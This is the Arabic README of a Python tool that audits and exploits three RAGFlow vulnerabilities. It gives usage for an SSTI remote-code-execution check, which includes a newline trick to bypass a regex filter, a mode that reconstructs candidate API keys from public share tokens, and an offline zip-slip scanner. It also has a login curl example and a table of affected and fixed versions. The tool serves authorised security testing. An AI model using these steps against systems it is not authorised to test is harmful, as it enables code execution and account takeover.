
أداة تدقيق الثغرات الثلاث لـ RAGFlow (CVE-2026-28797 / CVE-2026-24770 / CVE-2025-69286)
أداة تدقيق لثلاث ثغرات في RAGFlow (CVE-2026-28797 / CVE-2026-24770 / CVE-2025-69286)
مكتبة Python القياسية فقط، بدون تبعيات من طرف ثالث، تعمل مباشرة مع Python 3.8+.
python3 ragflow-audit.py [-h] {ssti,zipslip,apikey} ...
python3 ragflow-audit.py ssti --url http://TARGET:9380 --auth "AUTH_HEADER" [--component StringTransform|Message] [--newline]
--url: عنوان ويب RAGFlow--auth: القيمة الكاملة لترويسة Authorization في استجابة تسجيل الدخول--component: المكوّن المستهدف، الافتراضي StringTransform--newline: استخدام سطر جديد في الحمولة لتجاوز الفحص (تجاوز فحص regex في _is_jinjia2)التدفق: إنشاء canvas DSL خبيث -> POST /v1/canvas/set لإنشاء اللوحة -> POST /v1/canvas/completion لتشغيل التنفيذ -> مطابقة uid= في المخرجات لتحديد نجاح RCE.
python3 ragflow-audit.py zipslip --zip evil.zip [--extract-dir /tmp/out]
يفحص مدخلات zip دون اتصال ويميّز ثلاثة أنواع من المخاطر: تجاوز المسار (..)، المسارات المطلقة، والروابط الرمزية.
python3 ragflow-audit.py apikey --beta "分享链接token" --node "攻击者user_id后12位"
يستعيد موضوع uuid1 من رمز beta في رابط المشاركة العام، ويعدّد time_low، ويُخرج الرموز المرشحة. في الاستغلال الفعلي، يُستدعى API الذي يتطلب المصادقة لكل رمز مرشح واحدًا تلو الآخر (200 إصابة / 401 متابعة).
بيانات اعتماد تسجيل الدخول في RAGFlow موجودة في ترويسة Authorization الخاصة باستجابة تسجيل الدخول، وليست في access_token داخل body. إن access_token في body هو مجرد UUID، واستدعاء الواجهات به يعيد 401.
curl -i -X POST http://TARGET:9380/v1/user/login \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"<RSA加密后的密码>"}'
خذ قيمة ترويسة authorization: من الاستجابة كوسيط --auth.
ملاحظة: يجب تشفير كلمة مرور التسجيل/تسجيل الدخول أولاً بـ RSA (المفتاح العام في /ragflow/conf/public.pem، PKCS1_v1_5، والكائن المشفَّر هو النص الصريح بعد base64)؛ تمرير كلمة المرور الصريحة مباشرةً سيؤدي إلى خطأ.
| CVE | النوع | الإصدار المتأثر | إصدار الإصلاح |
|---|---|---|---|
| CVE-2026-28797 | SSTI (مكوّنا StringTransform/Message) | < 0.25.0 (NVD: 0.24.0 وما قبله) | 0.25.0 (إصلاح صندوق الحماية، دُمج في 2026-03-02) |
| CVE-2026-24770 | Zip Slip في محلل MinerU | < 0.23.1 | 0.23.1 |
| CVE-2025-69286 | مفتاح API قابل للاستنتاج (uuid1 + مفتاح tenant_id) | < 0.22.0 | 0.22.0 |
تُستخدم هذه الأداة فقط في الاختبارات الأمنية المصرّح بها وأبحاث الثغرات. المستخدم وحده يتحمّل عواقب استخدام هذه الأداة على أنظمة الآخرين دون إذن.